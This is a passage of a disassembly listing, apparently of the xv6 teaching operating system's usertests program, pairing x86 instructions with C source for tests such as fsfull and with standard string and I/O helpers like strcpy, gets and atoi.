37ff: 89 04 24 mov %eax,(%esp)
3802: e8 2e 08 00 00 call 4035 <printf>
exit();
3807: e8 a9 06 00 00 call 3eb5 <exit>
}
wait();
380c: e8 ac 06 00 00 call 3ebd <wait>
fd = open("bigarg-ok", 0);
3811: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
3818: 00
3819: c7 04 24 fb 59 00 00 movl $0x59fb,(%esp)
3820: e8 d0 06 00 00 call 3ef5 <open>
3825: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
3828: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
382c: 79 1a jns 3848 <bigargtest+0x110>
printf(stdout, "bigarg test failed!\n");
382e: a1 c4 62 00 00 mov 0x62c4,%eax
3833: c7 44 24 04 1b 5b 00 movl $0x5b1b,0x4(%esp)
383a: 00
383b: 89 04 24 mov %eax,(%esp)
383e: e8 f2 07 00 00 call 4035 <printf>
exit();
3843: e8 6d 06 00 00 call 3eb5 <exit>
}
close(fd);
3848: 8b 45 ec mov -0x14(%ebp),%eax
384b: 89 04 24 mov %eax,(%esp)
384e: e8 8a 06 00 00 call 3edd <close>
unlink("bigarg-ok");
3853: c7 04 24 fb 59 00 00 movl $0x59fb,(%esp)
385a: e8 a6 06 00 00 call 3f05 <unlink>
}
385f: c9 leave
3860: c3 ret
00003861 <fsfull>:
// what happens when the file system runs out of blocks?
// answer: balloc panics, so this test is not useful.
void
fsfull()
{
3861: 55 push %ebp
3862: 89 e5 mov %esp,%ebp
3864: 53 push %ebx
3865: 83 ec 74 sub $0x74,%esp
int nfiles;
int fsblocks = 0;
3868: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
printf(1, "fsfull test\n");
386f: c7 44 24 04 30 5b 00 movl $0x5b30,0x4(%esp)
3876: 00
3877: c7 04 24 01 00 00 00 movl $0x1,(%esp)
387e: e8 b2 07 00 00 call 4035 <printf>
for(nfiles = 0; ; nfiles++){
3883: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
char name[64];
name[0] = 'f';
388a: c6 45 a4 66 movb $0x66,-0x5c(%ebp)
name[1] = '0' + nfiles / 1000;
388e: 8b 4d f4 mov -0xc(%ebp),%ecx
3891: ba d3 4d 62 10 mov $0x10624dd3,%edx
3896: 89 c8 mov %ecx,%eax
3898: f7 ea imul %edx
389a: c1 fa 06 sar $0x6,%edx
389d: 89 c8 mov %ecx,%eax
389f: c1 f8 1f sar $0x1f,%eax
38a2: 29 c2 sub %eax,%edx
38a4: 89 d0 mov %edx,%eax
38a6: 83 c0 30 add $0x30,%eax
38a9: 88 45 a5 mov %al,-0x5b(%ebp)
name[2] = '0' + (nfiles % 1000) / 100;
38ac: 8b 5d f4 mov -0xc(%ebp),%ebx
38af: ba d3 4d 62 10 mov $0x10624dd3,%edx
38b4: 89 d8 mov %ebx,%eax
38b6: f7 ea imul %edx
38b8: c1 fa 06 sar $0x6,%edx
38bb: 89 d8 mov %ebx,%eax
38bd: c1 f8 1f sar $0x1f,%eax
38c0: 89 d1 mov %edx,%ecx
38c2: 29 c1 sub %eax,%ecx
38c4: 69 c1 e8 03 00 00 imul $0x3e8,%ecx,%eax
38ca: 29 c3 sub %eax,%ebx
38cc: 89 d9 mov %ebx,%ecx
38ce: ba 1f 85 eb 51 mov $0x51eb851f,%edx
38d3: 89 c8 mov %ecx,%eax
38d5: f7 ea imul %edx
38d7: c1 fa 05 sar $0x5,%edx
38da: 89 c8 mov %ecx,%eax
38dc: c1 f8 1f sar $0x1f,%eax
38df: 29 c2 sub %eax,%edx
38e1: 89 d0 mov %edx,%eax
38e3: 83 c0 30 add $0x30,%eax
38e6: 88 45 a6 mov %al,-0x5a(%ebp)
name[3] = '0' + (nfiles % 100) / 10;
38e9: 8b 5d f4 mov -0xc(%ebp),%ebx
38ec: ba 1f 85 eb 51 mov $0x51eb851f,%edx
38f1: 89 d8 mov %ebx,%eax
38f3: f7 ea imul %edx
38f5: c1 fa 05 sar $0x5,%edx
38f8: 89 d8 mov %ebx,%eax
38fa: c1 f8 1f sar $0x1f,%eax
38fd: 89 d1 mov %edx,%ecx
38ff: 29 c1 sub %eax,%ecx
3901: 6b c1 64 imul $0x64,%ecx,%eax
3904: 29 c3 sub %eax,%ebx
3906: 89 d9 mov %ebx,%ecx
3908: ba 67 66 66 66 mov $0x66666667,%edx
390d: 89 c8 mov %ecx,%eax
390f: f7 ea imul %edx
3911: c1 fa 02 sar $0x2,%edx
3914: 89 c8 mov %ecx,%eax
3916: c1 f8 1f sar $0x1f,%eax
3919: 29 c2 sub %eax,%edx
391b: 89 d0 mov %edx,%eax
391d: 83 c0 30 add $0x30,%eax
3920: 88 45 a7 mov %al,-0x59(%ebp)
name[4] = '0' + (nfiles % 10);
3923: 8b 4d f4 mov -0xc(%ebp),%ecx
3926: ba 67 66 66 66 mov $0x66666667,%edx
392b: 89 c8 mov %ecx,%eax
392d: f7 ea imul %edx
392f: c1 fa 02 sar $0x2,%edx
3932: 89 c8 mov %ecx,%eax
3934: c1 f8 1f sar $0x1f,%eax
3937: 29 c2 sub %eax,%edx
3939: 89 d0 mov %edx,%eax
393b: c1 e0 02 shl $0x2,%eax
393e: 01 d0 add %edx,%eax
3940: 01 c0 add %eax,%eax
3942: 29 c1 sub %eax,%ecx
3944: 89 ca mov %ecx,%edx
3946: 89 d0 mov %edx,%eax
3948: 83 c0 30 add $0x30,%eax
394b: 88 45 a8 mov %al,-0x58(%ebp)
name[5] = '\0';
394e: c6 45 a9 00 movb $0x0,-0x57(%ebp)
printf(1, "writing %s\n", name);
3952: 8d 45 a4 lea -0x5c(%ebp),%eax
3955: 89 44 24 08 mov %eax,0x8(%esp)
3959: c7 44 24 04 3d 5b 00 movl $0x5b3d,0x4(%esp)
3960: 00
3961: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3968: e8 c8 06 00 00 call 4035 <printf>
int fd = open(name, O_CREATE|O_RDWR);
396d: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
3974: 00
3975: 8d 45 a4 lea -0x5c(%ebp),%eax
3978: 89 04 24 mov %eax,(%esp)
397b: e8 75 05 00 00 call 3ef5 <open>
3980: 89 45 e8 mov %eax,-0x18(%ebp)
if(fd < 0){
3983: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
3987: 79 1d jns 39a6 <fsfull+0x145>
printf(1, "open %s failed\n", name);
3989: 8d 45 a4 lea -0x5c(%ebp),%eax
398c: 89 44 24 08 mov %eax,0x8(%esp)
3990: c7 44 24 04 49 5b 00 movl $0x5b49,0x4(%esp)
3997: 00
3998: c7 04 24 01 00 00 00 movl $0x1,(%esp)
399f: e8 91 06 00 00 call 4035 <printf>
break;
39a4: eb 74 jmp 3a1a <fsfull+0x1b9>
}
int total = 0;
39a6: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
while(1){
int cc = write(fd, buf, 512);
39ad: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
39b4: 00
39b5: c7 44 24 04 a0 8a 00 movl $0x8aa0,0x4(%esp)
39bc: 00
39bd: 8b 45 e8 mov -0x18(%ebp),%eax
39c0: 89 04 24 mov %eax,(%esp)
39c3: e8 0d 05 00 00 call 3ed5 <write>
39c8: 89 45 e4 mov %eax,-0x1c(%ebp)
if(cc < 512)
39cb: 81 7d e4 ff 01 00 00 cmpl $0x1ff,-0x1c(%ebp)
39d2: 7f 2f jg 3a03 <fsfull+0x1a2>
break;
39d4: 90 nop
total += cc;
fsblocks++;
}
printf(1, "wrote %d bytes\n", total);
39d5: 8b 45 ec mov -0x14(%ebp),%eax
39d8: 89 44 24 08 mov %eax,0x8(%esp)
39dc: c7 44 24 04 59 5b 00 movl $0x5b59,0x4(%esp)
39e3: 00
39e4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
39eb: e8 45 06 00 00 call 4035 <printf>
close(fd);
39f0: 8b 45 e8 mov -0x18(%ebp),%eax
39f3: 89 04 24 mov %eax,(%esp)
39f6: e8 e2 04 00 00 call 3edd <close>
if(total == 0)
39fb: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
39ff: 75 10 jne 3a11 <fsfull+0x1b0>
3a01: eb 0c jmp 3a0f <fsfull+0x1ae>
int total = 0;
while(1){
int cc = write(fd, buf, 512);
if(cc < 512)
break;
total += cc;
3a03: 8b 45 e4 mov -0x1c(%ebp),%eax
3a06: 01 45 ec add %eax,-0x14(%ebp)
fsblocks++;
3a09: 83 45 f0 01 addl $0x1,-0x10(%ebp)
}
3a0d: eb 9e jmp 39ad <fsfull+0x14c>
printf(1, "wrote %d bytes\n", total);
close(fd);
if(total == 0)
break;
3a0f: eb 09 jmp 3a1a <fsfull+0x1b9>
int nfiles;
int fsblocks = 0;
printf(1, "fsfull test\n");
for(nfiles = 0; ; nfiles++){
3a11: 83 45 f4 01 addl $0x1,-0xc(%ebp)
}
printf(1, "wrote %d bytes\n", total);
close(fd);
if(total == 0)
break;
}
3a15: e9 70 fe ff ff jmp 388a <fsfull+0x29>
while(nfiles >= 0){
3a1a: e9 d7 00 00 00 jmp 3af6 <fsfull+0x295>
char name[64];
name[0] = 'f';
3a1f: c6 45 a4 66 movb $0x66,-0x5c(%ebp)
name[1] = '0' + nfiles / 1000;
3a23: 8b 4d f4 mov -0xc(%ebp),%ecx
3a26: ba d3 4d 62 10 mov $0x10624dd3,%edx
3a2b: 89 c8 mov %ecx,%eax
3a2d: f7 ea imul %edx
3a2f: c1 fa 06 sar $0x6,%edx
3a32: 89 c8 mov %ecx,%eax
3a34: c1 f8 1f sar $0x1f,%eax
3a37: 29 c2 sub %eax,%edx
3a39: 89 d0 mov %edx,%eax
3a3b: 83 c0 30 add $0x30,%eax
3a3e: 88 45 a5 mov %al,-0x5b(%ebp)
name[2] = '0' + (nfiles % 1000) / 100;
3a41: 8b 5d f4 mov -0xc(%ebp),%ebx
3a44: ba d3 4d 62 10 mov $0x10624dd3,%edx
3a49: 89 d8 mov %ebx,%eax
3a4b: f7 ea imul %edx
3a4d: c1 fa 06 sar $0x6,%edx
3a50: 89 d8 mov %ebx,%eax
3a52: c1 f8 1f sar $0x1f,%eax
3a55: 89 d1 mov %edx,%ecx
3a57: 29 c1 sub %eax,%ecx
3a59: 69 c1 e8 03 00 00 imul $0x3e8,%ecx,%eax
3a5f: 29 c3 sub %eax,%ebx
3a61: 89 d9 mov %ebx,%ecx
3a63: ba 1f 85 eb 51 mov $0x51eb851f,%edx
3a68: 89 c8 mov %ecx,%eax
3a6a: f7 ea imul %edx
3a6c: c1 fa 05 sar $0x5,%edx
3a6f: 89 c8 mov %ecx,%eax
3a71: c1 f8 1f sar $0x1f,%eax
3a74: 29 c2 sub %eax,%edx
3a76: 89 d0 mov %edx,%eax
3a78: 83 c0 30 add $0x30,%eax
3a7b: 88 45 a6 mov %al,-0x5a(%ebp)
name[3] = '0' + (nfiles % 100) / 10;
3a7e: 8b 5d f4 mov -0xc(%ebp),%ebx
3a81: ba 1f 85 eb 51 mov $0x51eb851f,%edx
3a86: 89 d8 mov %ebx,%eax
3a88: f7 ea imul %edx
3a8a: c1 fa 05 sar $0x5,%edx
3a8d: 89 d8 mov %ebx,%eax
3a8f: c1 f8 1f sar $0x1f,%eax
3a92: 89 d1 mov %edx,%ecx
3a94: 29 c1 sub %eax,%ecx
3a96: 6b c1 64 imul $0x64,%ecx,%eax
3a99: 29 c3 sub %eax,%ebx
3a9b: 89 d9 mov %ebx,%ecx
3a9d: ba 67 66 66 66 mov $0x66666667,%edx
3aa2: 89 c8 mov %ecx,%eax
3aa4: f7 ea imul %edx
3aa6: c1 fa 02 sar $0x2,%edx
3aa9: 89 c8 mov %ecx,%eax
3aab: c1 f8 1f sar $0x1f,%eax
3aae: 29 c2 sub %eax,%edx
3ab0: 89 d0 mov %edx,%eax
3ab2: 83 c0 30 add $0x30,%eax
3ab5: 88 45 a7 mov %al,-0x59(%ebp)
name[4] = '0' + (nfiles % 10);
3ab8: 8b 4d f4 mov -0xc(%ebp),%ecx
3abb: ba 67 66 66 66 mov $0x66666667,%edx
3ac0: 89 c8 mov %ecx,%eax
3ac2: f7 ea imul %edx
3ac4: c1 fa 02 sar $0x2,%edx
3ac7: 89 c8 mov %ecx,%eax
3ac9: c1 f8 1f sar $0x1f,%eax
3acc: 29 c2 sub %eax,%edx
3ace: 89 d0 mov %edx,%eax
3ad0: c1 e0 02 shl $0x2,%eax
3ad3: 01 d0 add %edx,%eax
3ad5: 01 c0 add %eax,%eax
3ad7: 29 c1 sub %eax,%ecx
3ad9: 89 ca mov %ecx,%edx
3adb: 89 d0 mov %edx,%eax
3add: 83 c0 30 add $0x30,%eax
3ae0: 88 45 a8 mov %al,-0x58(%ebp)
name[5] = '\0';
3ae3: c6 45 a9 00 movb $0x0,-0x57(%ebp)
unlink(name);
3ae7: 8d 45 a4 lea -0x5c(%ebp),%eax
3aea: 89 04 24 mov %eax,(%esp)
3aed: e8 13 04 00 00 call 3f05 <unlink>
nfiles--;
3af2: 83 6d f4 01 subl $0x1,-0xc(%ebp)
close(fd);
if(total == 0)
break;
}
while(nfiles >= 0){
3af6: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
3afa: 0f 89 1f ff ff ff jns 3a1f <fsfull+0x1be>
name[5] = '\0';
unlink(name);
nfiles--;
}
printf(1, "fsfull test finished\n");
3b00: c7 44 24 04 69 5b 00 movl $0x5b69,0x4(%esp)
3b07: 00
3b08: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3b0f: e8 21 05 00 00 call 4035 <printf>
}
3b14: 83 c4 74 add $0x74,%esp
3b17: 5b pop %ebx
3b18: 5d pop %ebp
3b19: c3 ret
00003b1a <rand>:
unsigned long randstate = 1;
unsigned int
rand()
{
3b1a: 55 push %ebp
3b1b: 89 e5 mov %esp,%ebp
randstate = randstate * 1664525 + 1013904223;
3b1d: a1 c8 62 00 00 mov 0x62c8,%eax
3b22: 69 c0 0d 66 19 00 imul $0x19660d,%eax,%eax
3b28: 05 5f f3 6e 3c add $0x3c6ef35f,%eax
3b2d: a3 c8 62 00 00 mov %eax,0x62c8
return randstate;
3b32: a1 c8 62 00 00 mov 0x62c8,%eax
}
3b37: 5d pop %ebp
3b38: c3 ret
00003b39 <main>:
int
main(int argc, char *argv[])
{
3b39: 55 push %ebp
3b3a: 89 e5 mov %esp,%ebp
3b3c: 83 e4 f0 and $0xfffffff0,%esp
3b3f: 83 ec 10 sub $0x10,%esp
printf(1, "usertests starting\n");
3b42: c7 44 24 04 7f 5b 00 movl $0x5b7f,0x4(%esp)
3b49: 00
3b4a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3b51: e8 df 04 00 00 call 4035 <printf>
if(open("usertests.ran", 0) >= 0){
3b56: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
3b5d: 00
3b5e: c7 04 24 93 5b 00 00 movl $0x5b93,(%esp)
3b65: e8 8b 03 00 00 call 3ef5 <open>
3b6a: 85 c0 test %eax,%eax
3b6c: 78 19 js 3b87 <main+0x4e>
printf(1, "already ran user tests -- rebuild fs.img\n");
3b6e: c7 44 24 04 a4 5b 00 movl $0x5ba4,0x4(%esp)
3b75: 00
3b76: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3b7d: e8 b3 04 00 00 call 4035 <printf>
exit();
3b82: e8 2e 03 00 00 call 3eb5 <exit>
}
close(open("usertests.ran", O_CREATE));
3b87: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
3b8e: 00
3b8f: c7 04 24 93 5b 00 00 movl $0x5b93,(%esp)
3b96: e8 5a 03 00 00 call 3ef5 <open>
3b9b: 89 04 24 mov %eax,(%esp)
3b9e: e8 3a 03 00 00 call 3edd <close>
createdelete();
3ba3: e8 da d6 ff ff call 1282 <createdelete>
linkunlink();
3ba8: e8 1e e1 ff ff call 1ccb <linkunlink>
concreate();
3bad: e8 66 dd ff ff call 1918 <concreate>
fourfiles();
3bb2: e8 63 d4 ff ff call 101a <fourfiles>
sharedfd();
3bb7: e8 60 d2 ff ff call e1c <sharedfd>
bigargtest();
3bbc: e8 77 fb ff ff call 3738 <bigargtest>
bigwrite();
3bc1: e8 e6 ea ff ff call 26ac <bigwrite>
bigargtest();
3bc6: e8 6d fb ff ff call 3738 <bigargtest>
bsstest();
3bcb: e8 f6 fa ff ff call 36c6 <bsstest>
sbrktest();
3bd0: e8 12 f5 ff ff call 30e7 <sbrktest>
validatetest();
3bd5: e8 1f fa ff ff call 35f9 <validatetest>
opentest();
3bda: e8 e8 c6 ff ff call 2c7 <opentest>
writetest();
3bdf: e8 8e c7 ff ff call 372 <writetest>
writetest1();
3be4: e8 9e c9 ff ff call 587 <writetest1>
createtest();
3be9: e8 a4 cb ff ff call 792 <createtest>
openiputtest();
3bee: e8 d3 c5 ff ff call 1c6 <openiputtest>
exitiputtest();
3bf3: e8 e2 c4 ff ff call da <exitiputtest>
iputtest();
3bf8: e8 03 c4 ff ff call 0 <iputtest>
mem();
3bfd: e8 35 d1 ff ff call d37 <mem>
pipe1();
3c02: e8 6c cd ff ff call 973 <pipe1>
preempt();
3c07: e8 54 cf ff ff call b60 <preempt>
exitwait();
3c0c: e8 a8 d0 ff ff call cb9 <exitwait>
rmdot();
3c11: e8 1f ef ff ff call 2b35 <rmdot>
fourteen();
3c16: e8 c4 ed ff ff call 29df <fourteen>
bigfile();
3c1b: e8 94 eb ff ff call 27b4 <bigfile>
subdir();
3c20: e8 41 e3 ff ff call 1f66 <subdir>
linktest();
3c25: e8 a5 da ff ff call 16cf <linktest>
unlinkread();
3c2a: e8 cb d8 ff ff call 14fa <unlinkread>
dirfile();
3c2f: e8 79 f0 ff ff call 2cad <dirfile>
iref();
3c34: e8 b6 f2 ff ff call 2eef <iref>
forktest();
3c39: e8 d5 f3 ff ff call 3013 <forktest>
bigdir(); // slow
3c3e: e8 b6 e1 ff ff call 1df9 <bigdir>
exectest();
3c43: e8 dc cc ff ff call 924 <exectest>
exit();
3c48: e8 68 02 00 00 call 3eb5 <exit>
00003c4d <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
3c4d: 55 push %ebp
3c4e: 89 e5 mov %esp,%ebp
3c50: 57 push %edi
3c51: 53 push %ebx
asm volatile("cld; rep stosb" :
3c52: 8b 4d 08 mov 0x8(%ebp),%ecx
3c55: 8b 55 10 mov 0x10(%ebp),%edx
3c58: 8b 45 0c mov 0xc(%ebp),%eax
3c5b: 89 cb mov %ecx,%ebx
3c5d: 89 df mov %ebx,%edi
3c5f: 89 d1 mov %edx,%ecx
3c61: fc cld
3c62: f3 aa rep stos %al,%es:(%edi)
3c64: 89 ca mov %ecx,%edx
3c66: 89 fb mov %edi,%ebx
3c68: 89 5d 08 mov %ebx,0x8(%ebp)
3c6b: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
3c6e: 5b pop %ebx
3c6f: 5f pop %edi
3c70: 5d pop %ebp
3c71: c3 ret
00003c72 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
3c72: 55 push %ebp
3c73: 89 e5 mov %esp,%ebp
3c75: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
3c78: 8b 45 08 mov 0x8(%ebp),%eax
3c7b: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
3c7e: 90 nop
3c7f: 8b 45 08 mov 0x8(%ebp),%eax
3c82: 8d 50 01 lea 0x1(%eax),%edx
3c85: 89 55 08 mov %edx,0x8(%ebp)
3c88: 8b 55 0c mov 0xc(%ebp),%edx
3c8b: 8d 4a 01 lea 0x1(%edx),%ecx
3c8e: 89 4d 0c mov %ecx,0xc(%ebp)
3c91: 0f b6 12 movzbl (%edx),%edx
3c94: 88 10 mov %dl,(%eax)
3c96: 0f b6 00 movzbl (%eax),%eax
3c99: 84 c0 test %al,%al
3c9b: 75 e2 jne 3c7f <strcpy+0xd>
;
return os;
3c9d: 8b 45 fc mov -0x4(%ebp),%eax
}
3ca0: c9 leave
3ca1: c3 ret
00003ca2 <strcmp>:
int
strcmp(const char *p, const char *q)
{
3ca2: 55 push %ebp
3ca3: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
3ca5: eb 08 jmp 3caf <strcmp+0xd>
p++, q++;
3ca7: 83 45 08 01 addl $0x1,0x8(%ebp)
3cab: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
3caf: 8b 45 08 mov 0x8(%ebp),%eax
3cb2: 0f b6 00 movzbl (%eax),%eax
3cb5: 84 c0 test %al,%al
3cb7: 74 10 je 3cc9 <strcmp+0x27>
3cb9: 8b 45 08 mov 0x8(%ebp),%eax
3cbc: 0f b6 10 movzbl (%eax),%edx
3cbf: 8b 45 0c mov 0xc(%ebp),%eax
3cc2: 0f b6 00 movzbl (%eax),%eax
3cc5: 38 c2 cmp %al,%dl
3cc7: 74 de je 3ca7 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
3cc9: 8b 45 08 mov 0x8(%ebp),%eax
3ccc: 0f b6 00 movzbl (%eax),%eax
3ccf: 0f b6 d0 movzbl %al,%edx
3cd2: 8b 45 0c mov 0xc(%ebp),%eax
3cd5: 0f b6 00 movzbl (%eax),%eax
3cd8: 0f b6 c0 movzbl %al,%eax
3cdb: 29 c2 sub %eax,%edx
3cdd: 89 d0 mov %edx,%eax
}
3cdf: 5d pop %ebp
3ce0: c3 ret
00003ce1 <strlen>:
uint
strlen(char *s)
{
3ce1: 55 push %ebp
3ce2: 89 e5 mov %esp,%ebp
3ce4: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
3ce7: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
3cee: eb 04 jmp 3cf4 <strlen+0x13>
3cf0: 83 45 fc 01 addl $0x1,-0x4(%ebp)
3cf4: 8b 55 fc mov -0x4(%ebp),%edx
3cf7: 8b 45 08 mov 0x8(%ebp),%eax
3cfa: 01 d0 add %edx,%eax
3cfc: 0f b6 00 movzbl (%eax),%eax
3cff: 84 c0 test %al,%al
3d01: 75 ed jne 3cf0 <strlen+0xf>
;
return n;
3d03: 8b 45 fc mov -0x4(%ebp),%eax
}
3d06: c9 leave
3d07: c3 ret
00003d08 <memset>:
void*
memset(void *dst, int c, uint n)
{
3d08: 55 push %ebp
3d09: 89 e5 mov %esp,%ebp
3d0b: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
3d0e: 8b 45 10 mov 0x10(%ebp),%eax
3d11: 89 44 24 08 mov %eax,0x8(%esp)
3d15: 8b 45 0c mov 0xc(%ebp),%eax
3d18: 89 44 24 04 mov %eax,0x4(%esp)
3d1c: 8b 45 08 mov 0x8(%ebp),%eax
3d1f: 89 04 24 mov %eax,(%esp)
3d22: e8 26 ff ff ff call 3c4d <stosb>
return dst;
3d27: 8b 45 08 mov 0x8(%ebp),%eax
}
3d2a: c9 leave
3d2b: c3 ret
00003d2c <strchr>:
char*
strchr(const char *s, char c)
{
3d2c: 55 push %ebp
3d2d: 89 e5 mov %esp,%ebp
3d2f: 83 ec 04 sub $0x4,%esp
3d32: 8b 45 0c mov 0xc(%ebp),%eax
3d35: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
3d38: eb 14 jmp 3d4e <strchr+0x22>
if(*s == c)
3d3a: 8b 45 08 mov 0x8(%ebp),%eax
3d3d: 0f b6 00 movzbl (%eax),%eax
3d40: 3a 45 fc cmp -0x4(%ebp),%al
3d43: 75 05 jne 3d4a <strchr+0x1e>
return (char*)s;
3d45: 8b 45 08 mov 0x8(%ebp),%eax
3d48: eb 13 jmp 3d5d <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
3d4a: 83 45 08 01 addl $0x1,0x8(%ebp)
3d4e: 8b 45 08 mov 0x8(%ebp),%eax
3d51: 0f b6 00 movzbl (%eax),%eax
3d54: 84 c0 test %al,%al
3d56: 75 e2 jne 3d3a <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
3d58: b8 00 00 00 00 mov $0x0,%eax
}
3d5d: c9 leave
3d5e: c3 ret
00003d5f <gets>:
char*
gets(char *buf, int max)
{
3d5f: 55 push %ebp
3d60: 89 e5 mov %esp,%ebp
3d62: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
3d65: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
3d6c: eb 4c jmp 3dba <gets+0x5b>
cc = read(0, &c, 1);
3d6e: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
3d75: 00
3d76: 8d 45 ef lea -0x11(%ebp),%eax
3d79: 89 44 24 04 mov %eax,0x4(%esp)
3d7d: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3d84: e8 44 01 00 00 call 3ecd <read>
3d89: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
3d8c: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
3d90: 7f 02 jg 3d94 <gets+0x35>
break;
3d92: eb 31 jmp 3dc5 <gets+0x66>
buf[i++] = c;
3d94: 8b 45 f4 mov -0xc(%ebp),%eax
3d97: 8d 50 01 lea 0x1(%eax),%edx
3d9a: 89 55 f4 mov %edx,-0xc(%ebp)
3d9d: 89 c2 mov %eax,%edx
3d9f: 8b 45 08 mov 0x8(%ebp),%eax
3da2: 01 c2 add %eax,%edx
3da4: 0f b6 45 ef movzbl -0x11(%ebp),%eax
3da8: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
3daa: 0f b6 45 ef movzbl -0x11(%ebp),%eax
3dae: 3c 0a cmp $0xa,%al
3db0: 74 13 je 3dc5 <gets+0x66>
3db2: 0f b6 45 ef movzbl -0x11(%ebp),%eax
3db6: 3c 0d cmp $0xd,%al
3db8: 74 0b je 3dc5 <gets+0x66>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
3dba: 8b 45 f4 mov -0xc(%ebp),%eax
3dbd: 83 c0 01 add $0x1,%eax
3dc0: 3b 45 0c cmp 0xc(%ebp),%eax
3dc3: 7c a9 jl 3d6e <gets+0xf>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
3dc5: 8b 55 f4 mov -0xc(%ebp),%edx
3dc8: 8b 45 08 mov 0x8(%ebp),%eax
3dcb: 01 d0 add %edx,%eax
3dcd: c6 00 00 movb $0x0,(%eax)
return buf;
3dd0: 8b 45 08 mov 0x8(%ebp),%eax
}
3dd3: c9 leave
3dd4: c3 ret
00003dd5 <stat>:
int
stat(char *n, struct stat *st)
{
3dd5: 55 push %ebp
3dd6: 89 e5 mov %esp,%ebp
3dd8: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
3ddb: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
3de2: 00
3de3: 8b 45 08 mov 0x8(%ebp),%eax
3de6: 89 04 24 mov %eax,(%esp)
3de9: e8 07 01 00 00 call 3ef5 <open>
3dee: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
3df1: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
3df5: 79 07 jns 3dfe <stat+0x29>
return -1;
3df7: b8 ff ff ff ff mov $0xffffffff,%eax
3dfc: eb 23 jmp 3e21 <stat+0x4c>
r = fstat(fd, st);
3dfe: 8b 45 0c mov 0xc(%ebp),%eax
3e01: 89 44 24 04 mov %eax,0x4(%esp)
3e05: 8b 45 f4 mov -0xc(%ebp),%eax
3e08: 89 04 24 mov %eax,(%esp)
3e0b: e8 fd 00 00 00 call 3f0d <fstat>
3e10: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
3e13: 8b 45 f4 mov -0xc(%ebp),%eax
3e16: 89 04 24 mov %eax,(%esp)
3e19: e8 bf 00 00 00 call 3edd <close>
return r;
3e1e: 8b 45 f0 mov -0x10(%ebp),%eax
}
3e21: c9 leave
3e22: c3 ret
00003e23 <atoi>:
int
atoi(const char *s)
{
3e23: 55 push %ebp
3e24: 89 e5 mov %esp,%ebp
3e26: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
3e29: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
3e30: eb 25 jmp 3e57 <atoi+0x34>
n = n*10 + *s++ - '0';
3e32: 8b 55 fc mov -0x4(%ebp),%edx
3e35: 89 d0 mov %edx,%eax
3e37: c1 e0 02 shl $0x2,%eax
3e3a: 01 d0 add %edx,%eax
3e3c: 01 c0 add %eax,%eax
3e3e: 89 c1 mov %eax,%ecx
3e40: 8b 45 08 mov 0x8(%ebp),%eax
3e43: 8d 50 01 lea 0x1(%eax),%edx
3e46: 89 55 08 mov %edx,0x8(%ebp)
3e49: 0f b6 00 movzbl (%eax),%eax
3e4c: 0f be c0 movsbl %al,%eax
3e4f: 01 c8 add %ecx,%eax
3e51: 83 e8 30 sub $0x30,%eax
3e54: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
3e57: 8b 45 08 mov 0x8(%ebp),%eax
3e5a: 0f b6 00 movzbl (%eax),%eax
3e5d: 3c 2f cmp $0x2f,%al
3e5f: 7e 0a jle 3e6b <atoi+0x48>
3e61: 8b 45 08 mov 0x8(%ebp),%eax
3e64: 0f b6 00 movzbl (%eax),%eax
3e67: 3c 39 cmp $0x39,%al
3e69: 7e c7 jle 3e32 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
3e6b: 8b 45 fc mov -0x4(%ebp),%eax
}
3e6e: c9 leave
